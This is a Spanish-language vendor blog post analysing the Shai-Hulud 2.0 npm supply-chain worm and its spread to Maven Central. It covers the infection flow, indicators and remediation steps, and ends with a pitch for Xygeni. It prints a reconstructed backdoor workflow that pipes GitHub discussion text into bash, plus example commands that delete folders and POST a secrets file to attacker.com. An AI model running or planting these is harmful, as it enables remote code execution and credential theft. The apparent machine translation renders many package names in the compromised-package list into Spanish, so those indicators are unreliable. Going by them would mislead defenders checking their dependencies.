Shai Hulud - Ataque a la cadena de suministro de NPM

Ataque a la cadena de suministro de NPM Shai-Hulud 2.0

TL; DR

El 24 de noviembre de 2025, los investigadores descubrieron Shai Hulud: La segunda venida, una nueva ola de la Ataque a la cadena de suministro de NPM que reinfecta paquetes npm, roba credenciales y se propaga entre las máquinas de los desarrolladores y CI/CD pipelines. A diferencia del primer incidente, esta versión instala el entorno de ejecución de Bun sobre la marcha, implementa puertas traseras ocultas de GitHub Actions e incluye un limpiador destructivo capaz de borrar directorios de inicio completos en Linux, macOS y Windows. En cuestión de horas, el número de paquetes comprometidos superó los 830, lo que confirma que no se trata de una variante simple, sino de una escalada importante del problema. gusano original.

ImpactoCualquier desarrollador o ejecutor de CI que instale paquetes npm públicos podría haber estado expuesto. Los equipos de Java también están en riesgo después de que los paquetes infectados se reflejaran automáticamente en Maven Central.

Acciones inmediatas: bloquear versiones maliciosas conocidas, implementar instalaciones solo de archivo de bloqueo, rotar credenciales de npm, GitHub y la nube, eliminar ejecutores autohospedados desconocidos y monitorear IoC como setup_bun.js, bun_environment.js y repositorios de GitHub sospechosos que contengan “Sha1-Hulud: The Second Coming”.

Qué cambió: Shai Hulud en el ataque a la cadena de suministro de NPM cuando saltó a Maven

La segunda ola del ataque Shai Hulud supuso una escalada importante. En la primera campaña, el gusano permaneció dentro del ecosistema npm. Esta vez, el malware cruzó a Centro de expertos, exponiendo a los equipos de Java que nunca tocaron npm.

Línea de tiempo y ventana de tokens

El ataque comenzó el 24 de noviembre., justo antes de que npm retirara sus tokens de autenticación heredados en 9 de Diciembre.
Estos tokens antiguos eran más fáciles de robar y reutilizar. Como los atacantes aún tenían acceso a ellos durante este periodo, pudieron republicar cientos de versiones maliciosas a gran velocidad antes del corte.

Cómo llegó el malware a Maven

El salto entre registros se produjo debido a mvnpm, una herramienta de duplicación automatizada que convierte paquetes npm en artefactos Maven.

mvnpm no realiza comprobaciones de seguridad. Simplemente reempaqueta lo que npm publica.

Como resultado:

  • Un paquete npm comprometido (por ejemplo nodo-posthog@4.18.1)
  • Se convirtió automáticamente en un artefacto Maven
    org.mvnpm:posthog-node:4.18.1
  • Y se publicó en Maven Central antes de que alguien se diera cuenta de que estaba infectado.

Esto significa Los desarrolladores de Java fueron víctimas de una violación de npm, incluso si nunca instalaron un paquete npm.

¿Por qué este Matters

Este es el primer gusano de registro cruzado conocido, donde un ataque a la cadena de suministro se propaga de un ecosistema a otro únicamente mediante la automatización.
Debido a esto, el radio de explosión ahora incluye Java, cargas de trabajo JVM y enterprise Construir sistemas que se basan en Maven Central.

¿Qué hace que Shai Hulud 2.0 sea tan serio?

 Tiempo de ejecución de Bun utilizado para evadir la detección

Los atacantes cambiaron de Node.js al entorno de ejecución de Bun. El malware instala Bun sobre la marcha a través de setup_bun.js Durante la instalación del paquete. Esto evita la monitorización específica del nodo y permite a los atacantes una ejecución más rápida para una carga ofuscada muy grande.

Acciones de GitHub utilizadas como puerta trasera de comandos

Una vez instalado, el malware crea un ejecutor autohospedado oculto de GitHub Actions en  $INICIO/.dev-env/Esto funciona en Windows, macOS y Linux. Los atacantes pueden ejecutar comandos simplemente publicando mensajes en las discusiones de GitHub de un repositorio comprometido. Un archivo de flujo de trabajo procesa esos mensajes y los ejecuta como comandos de shell.

Limpiaparabrisas incorporado

Si el malware no puede autenticarse con GitHub o npm, borra el directorio de inicio de la víctima.

  • En Windows se utiliza del, rd y cifrado /W para borrar archivos.
  • En Linux y macOS sobrescribe los datos con hacer trizas y luego elimina directorios.

Una campaña muy ruidosa

Aunque el malware emplea cierto sigilo (por ejemplo, mediante el uso de Bun), la campaña en general es todo menos silenciosa. Republica agresivamente los paquetes comprometidos, crea cientos o miles de nuevos repositorios, carga volcados de credenciales masivamente e instala ejecutores autoalojados de larga duración en las máquinas de los desarrolladores. Nada de esto es un comportamiento discreto. La escala, la velocidad y la "sonoridad" operativa de este ataque destacan en comparación con la mayoría de las vulneraciones de la cadena de suministro, que tienden a priorizar pasar desapercibidos el mayor tiempo posible..

Amplio impacto

Los atacantes comprometieron muchos paquetes conocidos con millones de descargas mensuales, incluidos:
Zapier, dominios ENS, Postman, PostHog, AsyncAPI y Voiceflow.

Posibles señales de atribución

La atribución es difícil en este caso, y no existe una fuente confirmada detrás de la campaña. Una importante empresa de seguridad señala que la operación se asemeja al gusano Shai-Hulud, pero las diferencias en la construcción de la carga útil y la propagación del malware apuntan a la posibilidad de que se trate de un conjunto diferente de operadores. Su evaluación destaca que varios entornos descargaron los paquetes comprometidos antes de que npm los eliminara, lo que sugiere una exposición real en lugar de una prueba de corta duración.

Dado que las tácticas imitan la primera oleada, pero difieren en aspectos clave, especialmente en la estructura de la carga útil, la lógica de propagación y el estilo operativo, es plausible un escenario de imitación. Los atacantes podrían haber tomado ideas de Shai-Hulud, pero haber implementado sus propias herramientas. Esto podría indicar que otro grupo intenta imitar por completo la campaña anterior.

En este momento, no hay pruebas sólidas que lo vinculen con ningún actor conocido, grupo con motivaciones financieras o entidad vinculada al estado. La coincidencia con el gusano original es real, pero las diferencias son lo suficientemente importantes como para mantener la atribución en la categoría de "sin confirmar".

Difundir en Maven

Una importante empresa de seguridad confirmó que los paquetes npm maliciosos se republicaron automáticamente en Maven a través de mvnpm, una herramienta que convierte paquetes npm en artefactos Maven sin revisión manual.

El siguiente paquete fue enviado a Maven Central: org.mvnpm:posthog-node:4.18.1

Debido a que mvnpm simplemente vuelve a empaquetar todo lo que npm publica, las versiones infectadas se reflejaron en el ecosistema Java antes de que alguien se diera cuenta.

Maven Central eliminó los artefactos afectados el 25 de noviembre de 2025 y comenzó a reforzar los controles para evitar problemas similares entre registros.

Esto significa que los proyectos Java sin conexión directa con npm aún podrían haber quedado expuestos.

Cómo funciona el ataque Shai Hulud 2.0

Flujo de infección

  • un malicioso preinstalación Se añade el script a package.json.
  • setup_bun.js Instala Bun en la máquina de la víctima si falta.
  • bun_environment.js (más de 480k líneas de código ofuscado) se ejecuta en segundo plano.
  • El malware escanea las credenciales utilizando técnicas similares a TruffleHog. Busca...
    • Claves de AWS, GCP y Azure
    • Tokens de GitHub
    • tokens npm
    • Sistema CI Secretos
  • Los datos robados se cargan en repositorios públicos de GitHub que tienen la descripción “Sha1-Hulud: The Second Coming”.
  • Utilizando tokens capturados, el malware publica versiones comprometidas de paquetes, infecta repositorios de GitHub accesibles e instala ejecutores autohospedados persistentes para la ejecución remota de código.

Flujos de trabajo maliciosos de GitHub

Durante la segunda ola del ataque a la cadena de suministro de NPM de Shai-Hulud, el malware creado Dos flujos de trabajo ocultos de GitHub Actions Dentro de repositorios comprometidos. Estos flujos de trabajo ofrecen a los atacantes ejecución remota de código, persistencia a largo plazo y acceso total a los secretos del sistema.

1. Flujo de trabajo de puerta trasera (discussion.yaml)

El flujo de trabajo más peligroso escucha Debates de GitHub eventos. Cuando se crea o edita un mensaje de discusión, el flujo de trabajo lee el cuerpo del mensaje y lo ejecuta como un comando de shell en la máquina de la víctima.

A continuación se muestra una versión simplificada del flujo de trabajo malicioso, reconstruido a partir de muestras observadas:

# .github/workflows/discussion.yaml
name: Discussion Backdoor

on:
  discussion:
    types: [created, edited]

jobs:
  exec:
    runs-on: self-hosted
    steps:
      - name: Execute attacker command
        run: |
          echo "${{ github.event.discussion.body }}" | bash

La línea crítica es:

${{ github.event.discussion.body }}

Esto significa que el atacante puede publicar cualquier comando dentro de una discusión de GitHub, y el ejecutor autoalojado lo ejecuta inmediatamente. Dado que los ejecutores autoalojados suelen tener acceso a redes internas, credenciales de la nube y secretos de CI, esta puerta trasera permite al atacante la ejecución remota completa del código durante el ataque a la cadena de suministro de NPM de Shai Hulud.

Explotación de la inyección de comandos

Este flujo de trabajo abusa del procesamiento de expresiones en GitHub Actions. En lugar de restringir la entrada a cadenas seguras, lee el contenido de la discusión sin procesar y lo envía directamente al shell. Como resultado, el atacante solo necesita publicar un mensaje como:

rm -rf /important/folder
curl -X POST https://attacker.com --data @Secretos.json

Debido a que este comportamiento apareció repetidamente durante el ataque a la cadena de suministro de NPM de Shai Hulud, se convirtió en una de las señales más claras de que el malware estaba utilizando GitHub Actions como un canal de comando remoto.

Los ejecutores autoalojados empeoran esto porque:

  • ejecutar dentro de las redes de la empresa
  • mantener la nube o CI/CD Cartas credenciales
  • ejecutar con los permisos del usuario
  • No tienen el entorno sandbox ni el aislamiento de GitHub

Esto proporciona a los atacantes un canal de comando persistente hacia entornos internos.

Flujo de trabajo de recopilación de secretos y sistemas

Además de la puerta trasera, el malware implementa otro flujo de trabajo cuyo objetivo es recopilar y almacenar datos confidenciales del sistema infectado.
Estos flujos de trabajo reúnen:

  • credenciales en la nube
  • Variables de entorno
  • listados de directorios
  • Escaneos de Secreto al estilo TruffleHog

Almacenan los datos recopilados en archivos como:

  • nube.json
  • entorno.json
  • contenido.json
  • trufaSecretos.json

Estos archivos luego se cargan en repositorios de GitHub controlados por atacantes etiquetados como “Sha1-Hulud: La Segunda Venida”, donde se observaron cientos o miles de vertederos.

Indicadores de compromiso

Archive SHA256
setup_bun.js a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
bun_environment.js 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

Otras señales de alerta

  • .github/workflows/discussion.yaml
  • $INICIO/.dev-env/ que contiene corredores inesperados
  • Repositorios públicos de GitHub creados en su cuenta que contienen “Sha1-Hulud: The Second Coming”

Métricas actualizadas (al 26 de noviembre de 2025)

Métrico Contar
Paquetes npm comprometidos 830+
Repositorios de GitHub infectados 28,000+
Archivos secretos subidos 5,000+
Total Secretos recopilados 11,858
Secretos válidos 2,298

Qué hacer ahora: Respondiendo al ataque a la cadena de suministro de NPM de Shai Hulud

El ataque a la cadena de suministro de NPM de Shai Hulud requiere una respuesta rápida y estructurada. Dado que esta segunda ola se extiende a npm, GitHub, las máquinas de los desarrolladores e incluso Maven Central, los equipos deben actuar con rapidez para detectar, contener y remediar por completo cualquier exposición. Los pasos a continuación le ayudarán a reaccionar en el orden correcto y a reducir el riesgo de una mayor vulnerabilidad.

Detección

  • Busca en GitHub repositorios con la descripción “Sha1-Hulud: The Second Coming”.
  • Busque los registros de instalación de Bun durante la instalación de paquetes.
  • Inspeccione los archivos package.json en busca de scripts de ciclo de vida inesperados, especialmente preinstalación.
  • Comprueba si hay $INICIO/.dev-env/ en sistemas de desarrolladores o CI.
  • Revise los registros de publicación de GitHub y npm para detectar versiones sospechosas.

Contención

  • Rotar todas las credenciales: GitHub, npm, nube, CI Secretos, claves API.
  • Deshabilitar y eliminar ejecutores auto hospedados desconocidos.
  • Bloquear la creación de repositorios temporalmente.
  • Elimine las versiones infectadas de su gráfico de dependencia.

Remediación

  • Limpiar los sistemas afectados.
  • Revise todos los flujos de trabajo de GitHub Actions en busca de archivos inyectados.
  • Busque en sus registros de CI comandos o ejecuciones inusuales.

Reconstruir a partir de versiones de paquetes que se sabe que son buenas.

Cómo Xygeni ayuda a detener ataques como el de la Segunda Venida de Shai-Hulud

Tras una campaña tan agresiva como la Segunda Venida de Shai-Hulud, los equipos necesitan más que comprobaciones manuales. Necesitan protección automatizada que bloquee el malware antes de que llegue a los desarrolladores, los ejecutores de CI o los sistemas de producción. Aquí es donde Xygeni ofrece una gran ventaja.

Alerta temprana de malware (MEW): detecta amenazas antes de que se propaguen

 El motor de alerta temprana de Xygeni analiza paquetes de código abierto nuevos y actualizados en tiempo real. Detecta comportamientos sospechosos como:

  • JavaScript ofuscado o código empaquetado masivo
  • Scripts de ciclo de vida que instalan entornos de ejecución externos como Bun
  • Conexiones inesperadas a GitHub, npm o puntos finales en la nube
  • Cuentagotas que escriben en $HOME, .dev-env/ o carpetas de flujo de trabajo

MEW detectó patrones utilizados en ambas oleadas de Shai-Hulud, lo que ayuda a los equipos a reaccionar antes de que los atacantes propaguen aún más la infección.

Guardrails in CI/CD bloquear paquetes maliciosos

Xygeni hace cumplir guardrails que detienen automáticamente las operaciones inseguras:

  • CI pipelines no puede instalar paquetes con scripts de preinstalación o postinstalación ocultos
  • Las compilaciones fallan cuando un paquete intenta crear flujos de trabajo como .github/workflows/discussion.yaml
  • Pipelines rechaza dependencias publicadas desde fuentes no confiables o cuentas vistas por primera vez

Esto reduce drásticamente la superficie de ataque y evita que el malware se ejecute dentro de los trabajos de CI.

Secretos Protection reduce el radio de explosión

Dado que Shai-Hulud roba claves de la nube, tokens de GitHub, tokens de npm y secretos de CI, la protección también debe centrarse en las credenciales. Xygeni:

  • Detecta secretos expuestos dentro del código, registros, flujos de trabajo y archivos de entorno.
  • Rota automáticamente las credenciales de alto riesgo
  • Aplica tokens de corta duración para limitar el compromiso a largo plazo

Incluso si un atacante obtiene acceso inicial, las claves robadas se vuelven inútiles rápidamente.

Notas finales: Por qué el ataque a la cadena de suministro de Shai Hulud NPM sigue siendo importante

El proceso de Segunda Venida de Shai-Hulud El incidente muestra con qué facilidad un moderno Ataque a la cadena de suministro de NPM puede moverse entre ecosistemas. En este caso, el malware saltó de npm a Maven porque las herramientas de duplicación automatizadas como mvnpm republicaron paquetes comprometidos sin verificación. Como resultado, los equipos de Java quedaron expuestos incluso si nunca usaron npm directamente. Esto deja claro que los flujos de trabajo entre registros requieren una revisión inmediata y medidas de seguridad más estrictas.

Además, la escala y el comportamiento de esta campaña revelan cómo operan los atacantes hoy en día. En lugar de permanecer en silencio, publican cientos de paquetes a la vez, implementan ejecutores ocultos de GitHub, roban Secretos en masa e incluso incluyen un limpiador destructivo si algo falla. En consecuencia, las revisiones manuales no pueden seguir el ritmo de este nivel de automatización y velocidad. Los equipos necesitan protección continua y en tiempo real en el paquete, el origen y... pipeline capas.

¿Por qué Continuo? Pipeline Security Ahora es esencial

Ataques como Segunda Venida de Shai-Hulud seguirá evolucionando. Por lo tanto, prevenir la próxima ola requiere controles que funcionen automáticamente dentro CI/CDNo después del ataque. La defensa moderna debe combinar la detección temprana de malware, la validación estricta de dependencias, la aplicación de políticas y la protección Secreto para que el código malicioso no pueda pasar desapercibido en los entornos de desarrollo.

Xygeni apoya este cambio al ofrecer automatización guardrails En toda la cadena de suministro de software. Identifica paquetes sospechosos antes de la instalación, impone versiones de dependencia seguras, bloquea flujos de trabajo inseguros, detecta secretos expuestos y alerta sobre eventos inusuales. pipeline Actividad. Como resultado, los equipos se mantienen protegidos incluso cuando los ataques a la cadena de suministro se propagan rápidamente y cruzan los límites del ecosistema.

Lista de paquetes comprometidos

Los paquetes afectados también se pueden consultar mediante el #shai-hulud / #shai-hulud-segunda-venida etiqueta dentro OpenSourceMalware.com

 
PREMIUM Versión
02-eco0.0.7
@accordproject/análisis de conciertos3.24.1
@accordproject/concierto-linter3.24.1
@accordproject/concerto-linter-conjunto-de-reglas-predeterminadas3.24.1
@accordproject/concierto-metamodelo3.12.5
@accordproject/tipos-de-concierto3.24.1
@accordproject/rebaja-en-cicero0.16.26
@accordproject/motor-de-plantillas2.7.2
@actbase/transformación de CSS a React Native1.0.3
@actbase/nativo0.1.32
@actbase/servidor-de-nodos1.1.19
@actbase/react-absolute0.8.3
@actbase/react-daum-código postal1.0.5
@actbase/react-kakaosdk0.9.27
@actbase/hoja-de-acción-de-react-native1.0.3
@actbase/react-native-devtools0.1.3
@actbase/imagen-rápida-de-react-native8.5.13
@actbase/canal-de-react-native-kakao1.0.2
@actbase/react-native-kakao-navi2.0.4
@actbase/transformador sin react-native1.0.6
@actbase/react-native-naver-login1.0.1
@actbase/react-native-simple-video1.0.13
@actbase/react-native-tiktok1.1.3
@alexcolls/nuxt-socket.io0.0.7, 0.0.8
@alexcolls/nuxt-ux0.6.2, 0.6.1
@antstackio/eslint-config-antstack0.0.3
@antstackio/express-graphql-proxy0.2.8
@antstackio/analizador corporal graphql0.1.1
@antstackio/json-a-graphql1.0.3
@antstackio/shelbysam1.1.7
@aryanhussain/mi-lib-angular0.0.23
@asyncapi/plantilla dotnet-rabbitmq1.0.2, 1.0.1
@asyncapi/edavisualiser1.2.2, 1.2.1
@asyncapi/go-watermill-template0.2.76, 0.2.77
@asyncapi/plantilla-java0.3.6, 0.3.5
@asyncapi/keeper0.0.3, 0.0.2
@asyncapi/plantilla-php0.1.2, 0.1.1
@asyncapi/plantilla-python-paho0.2.15, 0.2.14
@asyncapi/api-del-servidor0.16.25, 0.16.24
@asyncapi/estudio1.0.3, 1.0.2
@asyncapi/componente web2.6.7, 2.6.6
@browserbasehq/bb91.2.21
@browserbasehq/director-ai1.0.3
@browserbasehq/mcp2.1.1
@browserbasehq/servidor-mcp-browserbase2.4.2
@browserbasehq/funciones-sdk0.0.4
@browserbasehq/stagehand3.0.4
@browserbasehq/documentos-de-escenario1.0.1
@caretive/caret-cli0.0.2
@clausehq/flujos-paso-httprequest0.1.14
@clausehq/flujos-paso-jsontoxml0.1.14
@clausehq/flujos-paso-mqtt0.1.14
@clausehq/flujos-paso-enviargridemail0.1.14
@clausehq/flujos-paso-tareascreateurl0.1.14
@commute/florecer1.0.3
@commute/datos-de-mercado1.0.2
@commute/gráfico-de-datos-de-mercado-js2.3.1
@dev-blinq/lógica de control de calidad de inteligencia artificial1.0.19
@dev-blinq/cucumber-js1.0.131
@dev-blinq/cucumber_client1.0.738
@dev-blinq/sistemas-de-interfaz1.0.93
@ensdomains/codificador-de-direcciones1.1.5
@ensdomains/lista negra1.0.1
@ensdomains/buffer0.1.2
@ensdomains/ccip-read-cf-worker0.0.4
@ensdomains/puerta de enlace de DNS de lectura ccip0.1.1
@ensdomains/ccip-read-router0.0.7
@ensdomains/ccip-read-worker-viem0.0.4
@ensdomains/hash-de-contenido3.0.1
@ensdomains/curvearithmetics1.0.1
@ensdomains/cypress-metamask1.2.1
@ensdomains/dnsprovejs0.5.3
@ensdomains/anclajes-de-oracle-dnssec0.0.2
@ensdomains/dnssecoraclejs0.2.9
@ensdomains/durante0.1.2
@ensdomains/durin-middleware0.0.2
@ensdomains/ens-archivados-contratos0.0.3
@ensdomains/ens-avatar1.0.4
@ensdomains/ens-contracts1.6.1
@ensdomains/ens-test-env1.0.2
@ensdomains/ens-validation0.1.1
@ensdomains/ensjs4.0.3
@ensdomains/ensjs-react0.0.5
@ensdomains/eth-ens-namehash2.0.16
@ensdomains/hackathon-registrar1.0.5
@ensdomains/hardhat-chai-matchers-viem0.1.15
@ensdomains/hardhat-toolbox-viem-extended0.0.6
@ensdomains/mock2.1.52
@ensdomains/envoltorio-de-nombre1.0.1
@ensdomains/contratos de resolución fuera de cadena0.2.2
@ensdomains/contratos-de-resolución-de-op0.0.2
@ensdomains/react-ens-address0.0.32
@ensdomains/renovación0.0.13
@ensdomains/widget-de-renovación0.1.10
@ensdomains/registros-inversos1.0.1
@ensdomains/análisis-del-servidor0.0.2
@ensdomains/solsha10.0.4
@ensdomains/registrador-de-subdominio0.2.4
@ensdomains/utilidades-de-prueba1.3.1
@ensdomains/thorin0.6.51
@ensdomains/ui3.4.6
@ensdomains/unicode-confusables0.1.1
@ensdomains/puertas de enlace no resistentes0.0.3
@ensdomains/complemento-vite-i18next-loader4.0.4
@ensdomains/web3modal1.10.2
@everreal/react-charts2.0.1, 2.0.2
@everreal/validar-importaciones-de-interoperabilidad-de-módulos1.4.4, 1.4.5
@everreal/analítica web0.0.1, 0.0.2
@faq-component/core0.0.4
@faq-component/react1.0.1
@fishingbooker/complemento de sincronización del navegador1.0.5
@fishingbooker/cargador de reacciones1.0.7
@fishingbooker/react-pagination2.0.6
@fishingbooker/react-raty2.0.1
@fishingbooker/react-swiper0.1.5
@hapheus/n8n-nodos-pgp1.5.1
@hover-design/núcleo0.0.1
@hover-design/react0.2.1
@ifelsedeveloper/contratos-de-protocolo-svm-idl0.1.2
@ifings/sistema-de-diseño4.9.2
@ifings/metatron30.1.5
@kvytech/cli0.0.7
@kvytech/componentes0.0.2
@kvytech/prueba-de-habito-e2e0.0.2
@kvytech/anuncio del complemento medusa0.0.8
@kvytech/gestión de complementos de Medusa0.0.5
@kvytech/boletín informativo del complemento Medusa0.0.5
@kvytech/medusa-plugin-reseñas-de-productos0.0.9
@kvytech/promoción del complemento medusa0.0.2
@kvytech/web0.0.2
@lessondesk/cliente-api9.12.3, 9.12.2
@lessondesk/babel-preset1.0.1
@lessondesk/cliente-api-del-grupo-electron1.0.3
@lessondesk/eslint-config1.4.2
@lessondesk/iconos-de-material1.0.3
@lessondesk/contexto-de-tabla-de-react2.0.4
@lessondesk/autobús escolar5.2.2, 5.2.3
@livecms/edición-en-vivo0.0.32
@livecms/nuxt-live-edit1.9.2
@louisle2/núcleo1.0.1
@louisle2/cortex-js0.1.6
@lpdjs/servicio-de-repositorio-de-firestore1.0.1
@markvivanco/verificador-de-versiones-de-aplicaciones1.0.2, 1.0.1
@ntnx/pasaporte-wso20.0.3
@ntnx/t0.0.101
@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode2.0.5
@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode1.1.1
@orbitgtbelgium/componentes-de-la-orbita1.2.9
@orbitgtbelgium/controlador-de-tiempo1.0.187
@osmanekrem/bmad1.0.6
@osmanekrem/controlador de errores1.2.2
@posthog/agente1.24.1
@posthog/ai7.1.2
@posthog/cli0.5.15
@posthog/clickhouse1.7.1
@posthog/núcleo1.5.6
@posthog/modo erizo0.0.42
@posthog/iconos0.36.1
@posthog/limón-ui0.0.1
@posthog/nextjs-config1.5.1
@posthog/nuxt1.2.9
@posthog/piscina3.2.1
@posthog/plugin-contrib0.0.6
@posthog/react-rrweb-player1.1.4
@posthog/rrdom0.0.31
@posthog/rrweb0.0.31
@posthog/rrweb-player0.0.31
@posthog/rrweb-record0.0.31
@posthog/rrweb-replay0.0.19
@posthog/rrweb-snapshot0.0.31
@posthog/rrweb-utils0.0.31
@posthog/siphash1.1.2
@posthog/mago1.18.1
@cartero/iconos-de-éter2.23.4, 2.23.3, 2.23.2
@cartero/csv-parse4.0.5, 4.0.3, 4.0.4
@cartero/nodo-keytar7.9.6, 7.9.4, 7.9.5
@cartero/agente-de-túnel0.6.7, 0.6.6, 0.6.5
@pradhumngautam/aplicación común1.0.2
@pruthvi21/use-debounce1.0.3
@quick-start-soft/traductor-rápido-de-documentos1.4.2511142126
@quick-start-soft/limpieza-rápida-git-markdown1.4.2511142126
@inicio-rápido-suave/rebaja-rápida1.4.2511142126
@quick-start-soft/composición-de-markdown-rápida1.4.2506300029
@quick-start-soft/imagen-de-markdown-rápido1.4.2511142126
@inicio-rápido-suave/impresión-rápida-markdown1.4.2511142126
@quick-start-soft/traductor-rápido-de-markdown1.4.2509202331
@quick-start-soft/eliminación rápida del fondo de la imagen1.4.2511142126
@quick-start-soft/refinamiento-de-tarea-rápida1.4.2511142126
@relyt/claude-context-core0.1.1
@seezo/servidor sdr-mcp0.0.5
@seung-ju/siguiente0.0.2
@seung-ju/generador-openapi0.0.4
@seung-ju/reaccionar-hooks0.0.2
@seung-ju/hoja-de-acción-de-react-native0.2.1
@sme-ui/aoma-vevasound-metadata-lib0.1.3
@strapbuild/selector de fecha y hora de React Native2.0.4
@strapbuild/recortador de imágenes en perspectiva de React Native0.4.15
@strapbuild/recortador-de-imágenes-en-perspectiva-de-react-native-20.4.7
@strapbuild/recortador de imágenes en perspectiva de React Native - poojan310.4.6
@suraj_h/medio-común1.0.5
@thedelta/eslint-config1.0.2
@tiaanduplessis/json2.0.3, 2.0.2
@tiaanduplessis/react-progressbar1.0.2, 1.0.1
@trefox/sleekshop-js0.1.6
@trigo/atrix7.0.1
@trigo/atrix-elasticsearch2.0.1
@trigo/atrix-postgres1.0.3
@trigo/atrix-pubsub4.0.3
@trigo/atrix-soap1.0.2
@trigo/atrix-swagger3.0.1
@trigo/expresiones-bool4.1.3
@trigo/eslint-config-trigo3.3.1
@trigo/fsm3.4.2
@trigo/hapi-auth-signedlink1.3.1
@trigo/pathfinder-ui-css0.1.1
@trigo/trigo-hapijs5.0.1
@trpc-rate-limiter/cloudflare0.1.4
@trpc-limitador-de-velocidad/hono0.1.4
@varsityvibe/cliente-api1.3.36, 1.3.37
@varsityvibe/utilidades5.0.6
@varsityvibe/esquemas-de-validacion0.6.7, 0.6.8
@vishadtyagi/calendario-anual completo0.1.11
@voiceflow/tipos-de-alexa2.15.60, 2.15.61
@voiceflow/antrópico0.4.4, 0.4.5
@voiceflow/api-sdk3.28.58, 3.28.59
@voiceflow/utilidades-de-backend5.0.2, 5.0.1
@voiceflow/tipos-base2.136.3, 2.136.2
@voiceflow/analizador corporal1.21.2, 1.21.3
@voiceflow/tipos de chat2.14.59, 2.14.58
@voiceflow/circleci-config-sdk-orb-import0.2.1, 0.2.2
@flujo de voz/commitconfiguración de pelusa2.6.2, 2.6.1
@voiceflow/común8.9.1, 8.9.2
@voiceflow/envoltorios-de-prompt-predeterminados1.7.4, 1.7.3
@voiceflow/configuración-de-dependencia-cruiser1.8.12, 1.8.11
@voiceflow/dtos-interact1.40.2, 1.40.1
@voiceflow/encriptación0.3.3, 0.3.2
@voiceflow/eslint-config7.16.4, 7.16.5
@voiceflow/complemento-eslint1.6.2, 1.6.1
@voiceflow/excepción1.10.2, 1.10.1
@voiceflow/fetch1.11.1, 1.11.2
@voiceflow/tipos-generales3.2.23, 3.2.22
@voiceflow/git-branch-check1.4.4, 1.4.3
@voiceflow/tipos-dfes-de-google2.17.12, 2.17.13
@voiceflow/tipos-de-google2.21.12, 2.21.13
@voiceflow/husky-config1.3.1, 1.3.2
@voiceflow/registrador2.4.3, 2.4.2
@voiceflow/métricas1.5.2, 1.5.1
@voiceflow/comandante-del-lenguaje-natural0.5.2, 0.5.3
@voiceflow/nestjs-common2.75.2, 2.75.3
@voiceflow/nestjs-mongodb1.3.1, 1.3.2
@voiceflow/nestjs-límite-de-velocidad1.3.3, 1.3.2
@voiceflow/nestjs-redis1.3.1, 1.3.2
@voiceflow/tiempo de espera de nestjs1.3.1, 1.3.2
@voiceflow/npm-package-json-lint-config1.1.1, 1.1.2
@voiceflow/openai3.2.2, 3.2.3
@voiceflow/pino6.11.4, 6.11.3
@voiceflow/pino-pretty4.4.2, 4.4.1
@voiceflow/configuración más bonita1.10.2, 1.10.1
@voiceflow/react-chat1.65.4, 1.65.3
@voiceflow/tiempo de ejecución1.29.1, 1.29.2
@voiceflow/cliente-en-tiempo-de-ejecución-js1.17.3, 1.17.2
@voiceflow/tiempo de ejecución del SDK1.43.2, 1.43.1
@voiceflow/Proveedor de secretos1.9.3, 1.9.2
@voiceflow/configuración-de-liberación-semántica1.4.2, 1.4.1
@voiceflow/complemento sin servidor-typescript2.1.7, 2.1.8
@voiceflow/serializador de pizarra1.7.4, 1.7.3
@voiceflow/puntos-de-reacción2.3.3, 2.3.2
@voiceflow/libro-de-cuentos-config1.2.2, 1.2.3
@voiceflow/stylelint-config1.1.1, 1.1.2
@voiceflow/prueba-común2.1.1, 2.1.2
@voiceflow/tsconfig1.12.2, 1.12.1
@voiceflow/tsconfig-paths1.1.5, 1.1.4
@voiceflow/diseñador-de-utilidades1.74.19, 1.74.20
@voiceflow/verror1.1.5, 1.1.4
@voiceflow/vite-config2.6.2, 2.6.3
@voiceflow/vitest-config1.10.3, 1.10.2
@voiceflow/tipos-de-voz2.10.59, 2.10.58
@voiceflow/tipos-de-voiceflow3.32.45, 3.32.46
@voiceflow/widget1.7.18, 1.7.19
@zapier/ai-actions0.1.20, 0.1.19, 0.1.18
@zapier/babel-preset-zapier6.4.2, 6.4.1, 6.4.3
@zapier/lista-de-navegadores-config-zapier1.0.4, 1.0.3, 1.0.5
@zapier/Secreto-scrubber1.1.5, 1.1.4, 1.1.3
escudo de cuervo de inteligencia artificial1.0.7
arc-cli-fc1.0.1
vista previa de asyncapi1.0.2, 1.0.1
atrix1.0.1
modelo_de_automatización1.0.491
constructor de axios1.2.1
axios-cancelable1.0.2, 1.0.1
cronometrado por axios1.0.2, 1.0.1
CSS básico1.1.4, 1.1.3
Impresión en marco de Benmostyn1.0.1
bestgpiocontrolador1.0.10
adaptador bidireccional1.2.2, 1.2.4, 1.2.5, 1.2.3
blinqio-ejecuciones-cli1.0.41
blob a base641.0.3
archivo http del complemento bun0.1.1
verificador de código de bytes-cli1.0.11, 1.0.8, 1.0.9, 1.0.10
bytes a x1.0.1
cálculo de intereses de préstamos1.0.4
Seguimiento de aplicaciones de complementos de condensadores para iOS0.0.21
Compra de complementos de condensadores0.1.1
complemento de condensador scgssigninwithgoogle0.0.5
historial de compra de condensadores0.0.10
grabadora de voz de condensador wav6.0.3
descargas de extensiones de Chrome0.0.3, 0.0.4
actualizador de tokens de Claude1.0.3
API de Coinmarketcap3.1.3, 3.1.2
expresiones regulares de colores2.0.1
comando-irail0.5.4
comparar-obj1.1.1, 1.1.2
reductor compuesto1.0.4, 1.0.3, 1.0.2, 1.0.5
cuenta regresiva1.0.2, 1.0.1
instrucciones de la CPU0.0.14
crear-aplicación-de-director0.1.1
crear-glee-app0.2.3, 0.2.2
crear-aplicación-hardhat31.1.4, 1.1.3, 1.1.1, 1.1.2
códec de dirección criptográfica0.1.9
css-dedoupe0.1.2
dashboard-estado vacío1.0.3
estudio de diseñouiux1.0.1
devstart-cli1.0.6
dialogflow-es1.1.4, 1.1.3, 1.1.1, 1.1.2
servidor bot de Discord0.1.2
Extracto de vainilla del complemento docusaurus1.0.3
no vayas1.1.2
plantilla dotnet0.0.3, 0.0.4
complemento de soltar eventos en la propiedad0.0.2
comprobador de capacidad de entrega de correo electrónico1.1.1
hacer cumplir el nombre de la rama1.1.3
complemento esbuild-brotli0.2.1
complemento esbuild-eta0.1.1
archivo http del complemento esbuild0.4.1
eslint-config-quisquilloso4.0.1
eslint-config-trigo22.0.2
eslint-config-zeallat-base1.0.4
ethereum-ens0.8.1
